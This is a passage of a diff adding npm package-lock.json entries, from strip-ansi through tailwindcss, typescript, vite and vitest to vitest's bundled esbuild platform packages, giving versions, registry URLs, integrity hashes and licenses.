"^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-indent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", + "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "min-indent": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-json-comments": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz", + "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/sucrase": { + "version": "3.35.1", + "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.35.1.tgz", + "integrity": "sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.2", + "commander": "^4.0.0", + "lines-and-columns": "^1.1.6", + "mz": "^2.7.0", + "pirates": "^4.0.1", + "tinyglobby": "^0.2.11", + "ts-interface-checker": "^0.1.9" + }, + "bin": { + "sucrase": "bin/sucrase", + "sucrase-node": "bin/sucrase-node" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/symbol-tree": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", + "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==", + "dev": true, + "license": "MIT" + }, + "node_modules/tagged-tag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/tagged-tag/-/tagged-tag-1.0.0.tgz", + "integrity": "sha512-yEFYrVhod+hdNyx7g5Bnkkb0G6si8HJurOoOEgC8B/O0uXLHlaey/65KRv6cuWBNhBgHKAROVpc7QyYqE5gFng==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/tailwind-merge": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-2.6.1.tgz", + "integrity": "sha512-Oo6tHdpZsGpkKG88HJ8RR1rg/RdnEkQEfMoEk2x1XRI3F1AxeU+ijRXpiVUF4UbLfcxxRGw6TbUINKYdWVsQTQ==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/dcastil" + } + }, + "node_modules/tailwindcss": { + "version": "3.4.19", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.19.tgz", + "integrity": "sha512-3ofp+LL8E+pK/JuPLPggVAIaEuhvIz4qNcf3nA1Xn2o/7fb7s/TYpHhwGDv1ZU3PkBluUVaF8PyCHcm48cKLWQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@alloc/quick-lru": "^5.2.0", + "arg": "^5.0.2", + "chokidar": "^3.6.0", + "didyoumean": "^1.2.2", + "dlv": "^1.1.3", + "fast-glob": "^3.3.2", + "glob-parent": "^6.0.2", + "is-glob": "^4.0.3", + "jiti": "^1.21.7", + "lilconfig": "^3.1.3", + "micromatch": "^4.0.8", + "normalize-path": "^3.0.0", + "object-hash": "^3.0.0", + "picocolors": "^1.1.1", + "postcss": "^8.4.47", + "postcss-import": "^15.1.0", + "postcss-js": "^4.0.1", + "postcss-load-config": "^4.0.2 || ^5.0 || ^6.0", + "postcss-nested": "^6.2.0", + "postcss-selector-parser": "^6.1.2", + "resolve": "^1.22.8", + "sucrase": "^3.35.0" + }, + "bin": { + "tailwind": "lib/cli.js", + "tailwindcss": "lib/cli.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tailwindcss-animate": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/tailwindcss-animate/-/tailwindcss-animate-1.0.7.tgz", + "integrity": "sha512-bl6mpH3T7I3UFxuvDEXLxy/VuFxBk5bbzplh7tXI68mwMokNYd1t9qPBHlnyTwfa4JGC4zP516I1hYYtQ/vspA==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "tailwindcss": ">=3.0.0 || insiders" + } + }, + "node_modules/thenify": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", + "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "any-promise": "^1.0.0" + } + }, + "node_modules/thenify-all": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", + "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", + "dev": true, + "license": "MIT", + "dependencies": { + "thenify": ">= 3.1.0 < 4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/tiny-invariant": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.3.tgz", + "integrity": "sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg==", + "license": "MIT" + }, + "node_modules/tinybench": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz", + "integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==", + "dev": true, + "license": "MIT" + }, + "node_modules/tinyexec": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.2.4.tgz", + "integrity": "sha512-SHf/r48b7vOrjve9PxJo3MN5v5yuyjHvdUcrQffT3WXMUfnGmHDVbC4k3sHJaJTgZCwpUplIaAo5ANtMyp3YHg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/tinyglobby": { + "version": "0.2.17", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", + "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.4" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/tinyglobby/node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/tinyglobby/node_modules/picomatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz", + "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/tinyrainbow": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.1.0.tgz", + "integrity": "sha512-Bf+ILmBgretUrdJxzXM0SgXLZ3XfiaUuOj/IKQHuTXip+05Xn+uyEYdVg0kYDipTBcLrCVyUzAPz7QmArb0mmw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tldts": { + "version": "7.0.23", + "resolved": "https://registry.npmjs.org/tldts/-/tldts-7.0.23.tgz", + "integrity": "sha512-ASdhgQIBSay0R/eXggAkQ53G4nTJqTXqC2kbaBbdDwM7SkjyZyO0OaaN1/FH7U/yCeqOHDwFO5j8+Os/IS1dXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "tldts-core": "^7.0.23" + }, + "bin": { + "tldts": "bin/cli.js" + } + }, + "node_modules/tldts-core": { + "version": "7.0.23", + "resolved": "https://registry.npmjs.org/tldts-core/-/tldts-core-7.0.23.tgz", + "integrity": "sha512-0g9vrtDQLrNIiCj22HSe9d4mLVG3g5ph5DZ8zCKBr4OtrspmNB6ss7hVyzArAeE88ceZocIEGkyW1Ime7fxPtQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/tough-cookie": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-6.0.0.tgz", + "integrity": "sha512-kXuRi1mtaKMrsLUxz3sQYvVl37B0Ns6MzfrtV5DvJceE9bPyspOqk9xxv7XbZWcfLWbFmm997vl83qUWVJA64w==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "tldts": "^7.0.5" + }, + "engines": { + "node": ">=16" + } + }, + "node_modules/tr46": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz", + "integrity": "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw==", + "dev": true, + "dependencies": { + "punycode": "^2.3.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/tree-changes": { + "version": "0.11.3", + "resolved": "https://registry.npmjs.org/tree-changes/-/tree-changes-0.11.3.tgz", + "integrity": "sha512-r14mvDZ6tqz8PRQmlFKjhUVngu4VZ9d92ON3tp0EGpFBE6PAHOq8Bx8m8ahbNoGE3uI/npjYcJiqVydyOiYXag==", + "license": "MIT", + "dependencies": { + "@gilbarbara/deep-equal": "^0.3.1", + "is-lite": "^1.2.1" + } + }, + "node_modules/ts-api-utils": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-2.4.0.tgz", + "integrity": "sha512-3TaVTaAv2gTiMB35i3FiGJaRfwb3Pyn/j3m/bfAvGe8FB7CF6u+LMYqYlDh7reQf7UNvoTvdfAqHGmPGOSsPmA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18.12" + }, + "peerDependencies": { + "typescript": ">=4.8.4" + } + }, + "node_modules/ts-interface-checker": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", + "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "license": "MIT", + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-fest": { + "version": "5.4.4", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-5.4.4.tgz", + "integrity": "sha512-JnTrzGu+zPV3aXIUhnyWJj4z/wigMsdYajGLIYakqyOW1nPllzXEJee0QQbHj+CTIQtXGlAjuK0UY+2xTyjVAw==", + "dev": true, + "license": "(MIT OR CC0-1.0)", + "dependencies": { + "tagged-tag": "^1.0.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/typescript": { + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/typescript-eslint": { + "version": "8.56.0", + "resolved": "https://registry.npmjs.org/typescript-eslint/-/typescript-eslint-8.56.0.tgz", + "integrity": "sha512-c7toRLrotJ9oixgdW7liukZpsnq5CZ7PuKztubGYlNppuTqhIoWfhgHo/7EU0v06gS2l/x0i2NEFK1qMIf0rIg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/eslint-plugin": "8.56.0", + "@typescript-eslint/parser": "8.56.0", + "@typescript-eslint/typescript-estree": "8.56.0", + "@typescript-eslint/utils": "8.56.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.0.0" + } + }, + "node_modules/universalify": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", + "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", + "dev": true, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/until-async": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/until-async/-/until-async-3.0.2.tgz", + "integrity": "sha512-IiSk4HlzAMqTUseHHe3VhIGyuFmN90zMTpD3Z3y8jeQbzLIq500MVM7Jq2vUAnTKAFPJrqwkzr6PoTcPhGcOiw==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/kettanaito" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", + "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "escalade": "^3.2.0", + "picocolors": "^1.1.1" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/uri-js-replace": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/uri-js-replace/-/uri-js-replace-1.0.1.tgz", + "integrity": "sha512-W+C9NWNLFOoBI2QWDp4UT9pv65r2w5Cx+3sTYFvtMdDBxkKt1syCqsUdSFAChbEe1uK5TfS04wt/nGwmaeIQ0g==", + "dev": true, + "license": "MIT" + }, + "node_modules/url-parse": { + "version": "1.5.10", + "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", + "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", + "dev": true, + "dependencies": { + "querystringify": "^2.1.1", + "requires-port": "^1.0.0" + } + }, + "node_modules/use-callback-ref": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/use-callback-ref/-/use-callback-ref-1.3.3.tgz", + "integrity": "sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg==", + "license": "MIT", + "dependencies": { + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/use-sidecar": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/use-sidecar/-/use-sidecar-1.1.3.tgz", + "integrity": "sha512-Fedw0aZvkhynoPYlA5WXrMCAMm+nSWdZt6lzJQ7Ok8S6Q+VsHmHpRWndVRJ8Be0ZbkfPc5LRYH+5XrzXcEeLRQ==", + "license": "MIT", + "dependencies": { + "detect-node-es": "^1.1.0", + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/use-sync-external-store": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.6.0.tgz", + "integrity": "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==", + "license": "MIT", + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true, + "license": "MIT" + }, + "node_modules/victory-vendor": { + "version": "37.3.6", + "resolved": "https://registry.npmjs.org/victory-vendor/-/victory-vendor-37.3.6.tgz", + "integrity": "sha512-SbPDPdDBYp+5MJHhBCAyI7wKM3d5ivekigc2Dk2s7pgbZ9wIgIBYGVw4zGHBml/qTFbexrofXW6Gu4noGxrOwQ==", + "license": "MIT AND ISC", + "dependencies": { + "@types/d3-array": "^3.0.3", + "@types/d3-ease": "^3.0.0", + "@types/d3-interpolate": "^3.0.1", + "@types/d3-scale": "^4.0.2", + "@types/d3-shape": "^3.1.0", + "@types/d3-time": "^3.0.0", + "@types/d3-timer": "^3.0.0", + "d3-array": "^3.1.6", + "d3-ease": "^3.0.1", + "d3-interpolate": "^3.0.1", + "d3-scale": "^4.0.2", + "d3-shape": "^3.1.0", + "d3-time": "^3.0.0", + "d3-timer": "^3.0.1" + } + }, + "node_modules/vite": { + "version": "5.4.21", + "resolved": "https://registry.npmjs.org/vite/-/vite-5.4.21.tgz", + "integrity": "sha512-o5a9xKjbtuhY6Bi5S3+HvbRERmouabWbyUcpXXUA1u+GNUKoROi9byOJ8M0nHbHYHkYICiMlqxkg1KkYmm25Sw==", + "dev": true, + "license": "MIT", + "dependencies": { + "esbuild": "^0.21.3", + "postcss": "^8.4.43", + "rollup": "^4.20.0" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^18.0.0 || >=20.0.0" + }, + "funding": { + "url": "https://github.com/vitejs/vite?sponsor=1" + }, + "optionalDependencies": { + "fsevents": "~2.3.3" + }, + "peerDependencies": { + "@types/node": "^18.0.0 || >=20.0.0", + "less": "*", + "lightningcss": "^1.21.0", + "sass": "*", + "sass-embedded": "*", + "stylus": "*", + "sugarss": "*", + "terser": "^5.4.0" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "less": { + "optional": true + }, + "lightningcss": { + "optional": true + }, + "sass": { + "optional": true + }, + "sass-embedded": { + "optional": true + }, + "stylus": { + "optional": true + }, + "sugarss": { + "optional": true + }, + "terser": { + "optional": true + } + } + }, + "node_modules/vitest": { + "version": "4.1.9", + "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.9.tgz", + "integrity": "sha512-nE3/LEyc0z87uHYLZebqCUOaJr2hdtuPp7BQ4BosVFnfltxgAvMG08NyrSGlPpOUWvR27c5flSmYFTNr78L9GQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@vitest/expect": "4.1.9", + "@vitest/mocker": "4.1.9", + "@vitest/pretty-format": "4.1.9", + "@vitest/runner": "4.1.9", + "@vitest/snapshot": "4.1.9", + "@vitest/spy": "4.1.9", + "@vitest/utils": "4.1.9", + "es-module-lexer": "^2.0.0", + "expect-type": "^1.3.0", + "magic-string": "^0.30.21", + "obug": "^2.1.1", + "pathe": "^2.0.3", + "picomatch": "^4.0.3", + "std-env": "^4.0.0-rc.1", + "tinybench": "^2.9.0", + "tinyexec": "^1.0.2", + "tinyglobby": "^0.2.15", + "tinyrainbow": "^3.1.0", + "vite": "^6.0.0 || ^7.0.0 || ^8.0.0", + "why-is-node-running": "^2.3.0" + }, + "bin": { + "vitest": "vitest.mjs" + }, + "engines": { + "node": "^20.0.0 || ^22.0.0 || >=24.0.0" + }, + "funding": { + "url": "https://opencollective.com/vitest" + }, + "peerDependencies": { + "@edge-runtime/vm": "*", + "@opentelemetry/api": "^1.9.0", + "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0", + "@vitest/browser-playwright": "4.1.9", + "@vitest/browser-preview": "4.1.9", + "@vitest/browser-webdriverio": "4.1.9", + "@vitest/coverage-istanbul": "4.1.9", + "@vitest/coverage-v8": "4.1.9", + "@vitest/ui": "4.1.9", + "happy-dom": "*", + "jsdom": "*", + "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "@edge-runtime/vm": { + "optional": true + }, + "@opentelemetry/api": { + "optional": true + }, + "@types/node": { + "optional": true + }, + "@vitest/browser-playwright": { + "optional": true + }, + "@vitest/browser-preview": { + "optional": true + }, + "@vitest/browser-webdriverio": { + "optional": true + }, + "@vitest/coverage-istanbul": { + "optional": true + }, + "@vitest/coverage-v8": { + "optional": true + }, + "@vitest/ui": { + "optional": true + }, + "happy-dom": { + "optional": true + }, + "jsdom": { + "optional": true + }, + "vite": { + "optional": false + } + } + }, + "node_modules/vitest/node_modules/@esbuild/aix-ppc64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.28.1.tgz", + "integrity": "sha512-Svl7tq8k/08+p6CXPpRjQ1fKX+1odH/BQbb48fV6fj3CWHhsoIOoY87w1oHXm0qEpkIK3ZfVgp0hed3XBXzXMQ==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/android-arm": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.28.1.tgz", + "integrity": "sha512-0k2F129Xdio1TdJfzJ8sy1Q47vUD2NnwdhiAf7drUN1EBTfPf4hsFCtmMgu/6m8JSzsBrlmVjudMBQqOfG8usQ==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/android-arm64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.28.1.tgz", + "integrity": "sha512-34EGEbCIAgosYz6goLcopX6Mo7NyGv9tfwEM2/7Ce2VcVRk568iSvniGWcUXIy7wEDR1wzolcxcriFVrWYcwBg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/android-x64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.28.1.tgz", + "integrity": "sha512-dbwY7ltSMDWsRatcRpCnES4F+im88OCUgGZjy52shC7GqHRE/cYlxNbB4Z4UpJswpcc4Qxd2oE/ufM0p61IKng==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/darwin-arm64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.28.1.tgz", + "integrity": "sha512-TZbWkQY7kvTAXbXUT7uVACR5cMHsDiSz9z7ZKAX/RTq/WJEk3QyRr0wZpNhBDX+/0CtdqUIJlOiodQcta6tY3Q==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/darwin-x64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.28.1.tgz", + "integrity": "sha512-zfdzgK9ACBNZLI/CyHTOx81SyNbM6YXn7rxSgX97VjyiPl9W1i4Ka4fgKECEoFCKGpvBj5qArWIGgQjOwkgskQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/freebsd-arm64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.28.1.tgz", + "integrity": "sha512-wG2EA8ENdEI0qhkSZMjfqrdY+ziCYCPMmtZjjIwOmXFjmyzEHn+UUxk5of+SYsjtfs3VpnlC7QLzSI5hY/rOAw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "peer": true, + "engines": { + "node": ">=18" + } + }, + "node_modules/vitest/node_modules/@esbuild/freebsd-x64": { + "version": "0.28.1", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.28.1.tgz", + "integrity": "sha512-i7dZ9vQgnvSCzi/rYCXNgtF/U+eKZNJBzu3eTQbRgHnM7tNSizLOkRFAl3qzVc/Op/u5YkHHa4pf/3DOYHthLQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": 